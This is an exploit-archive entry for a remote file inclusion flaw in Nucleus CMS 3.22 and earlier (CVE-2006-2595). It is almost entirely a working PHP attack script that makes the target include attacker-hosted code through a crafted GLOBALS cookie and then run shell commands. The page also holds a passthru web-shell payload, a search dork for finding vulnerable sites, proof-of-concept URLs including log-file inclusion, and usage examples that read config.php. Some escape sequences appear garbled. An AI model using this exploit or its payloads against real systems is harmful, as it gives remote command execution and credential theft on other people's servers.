Bug: Nucleus CMS <= 3.22 arbitrary remote inclusion ( Ascii Version )

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Nucleus CMS <= 3.22 arbitrary remote inclusion

Published / (Updated)
Credit
Risk
2006-05-27 / 2012-03-12
rgod
Medium
CWE
CVE
Local
Remote
CWE-Other
CVE-2006-2595
CVE-2006-2583
No
Yes

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Nucleus <= 3.22 arbitrary remote inclusion exploitrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

echo "this is called the "deadly eyes of Sun-tzu"rn";

echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to toprnrn";

/*

works with:

register_globals=Om

allow_url_fopen=Om

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path location cmd OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to Nucleusrn";

echo "location: an arbitrary location with the code to includern";

echo "cmd: a shell commandrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.phprn";

echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81rn";

echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80rnrn";

echo "note, you need this code in http://somehost.com/ADMIN.php/index.htmlrn";

echo "<?phprn";

echo "if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["c
md"]);}rn";

echo "ini_set("max_execution_time",0);rn";

echo "echo "*delim*";rn";

echo "passthru($_REQUEST["cmd"]);rn";

echo "echo "*delim*";rn";

echo "?>rn";

die;

}

/* software site: http://nucleuscms.org/

i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49:

...

global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;

$aVarsToCheck = array('DIR_LIBS');

foreach ($aVarsToCheck as $varName)

{

if (phpversion() >= '4.1.0')

{

if ( isset($_GET[$varName])

|| isset($_POST[$varName])

|| isset($_COOKIE[$varName])

|| isset($_ENV[$varName])

|| isset($_SESSION[$varName])

|| isset($_FILES[$varName])

){

die('Sorry. An error occurred.');

}

} else {

if ( isset($HTTP_GET_VARS[$varName])

|| isset($HTTP_POST_VARS[$varName])

|| isset($HTTP_COOKIE_VARS[$varName])

|| isset($HTTP_ENV_VARS[$varName])

|| isset($HTTP_SESSION_VARS[$varName])

|| isset($HTTP_POST_FILES[$varName])

){

die('Sorry. An error occurred.');

}

}

}

include($DIR_LIBS . 'ADMIN.php');

...

so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[D
IR_LIBS]=http://somehost.com/&cmd=ls%20-la

where on somehost.com we have some php code in

http://somehost.com/ADMIN.php/index.html

also, if register_globals = On & magic_quotes_gpc = Off:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[D
IR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$loc=urlencode($argv[3]);

if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))

{die("Check the path, it must begin and end with a trailing slashrn");}

$port=80;

$proxy="";

$cmd="";

for ($i=4; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{

$cmd.=" ".$argv[$i];

}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0rn";

$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)rn";

$packet.="Host: ".$host."rn";

//through cookies, it's the same, maybe can bypass some ids...

$packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

if (strstr($html,"*delim*"))

{

echo "Exploit succeeded...";

$temp=explode("*delim*",$html);

die("rn".$temp[1]."rn");

}

//if you are here...

echo "Exploit failed...rn";

?>

original url: http://retrogod.altervista.org/nucleus_322_incl_xpl.html

References:

http://www.nucleuscms.org/item/3038
http://retrogod.altervista.org/nucleus_322_incl_xpl.html
http://forum.nucleuscms.org/viewtopic.php?t=12304
http://xforce.iss.net/xforce/xfdb/26606
http://www.securityfocus.com/bid/18097
http://www.osvdb.org/25749
http://securitytracker.com/id?1016146

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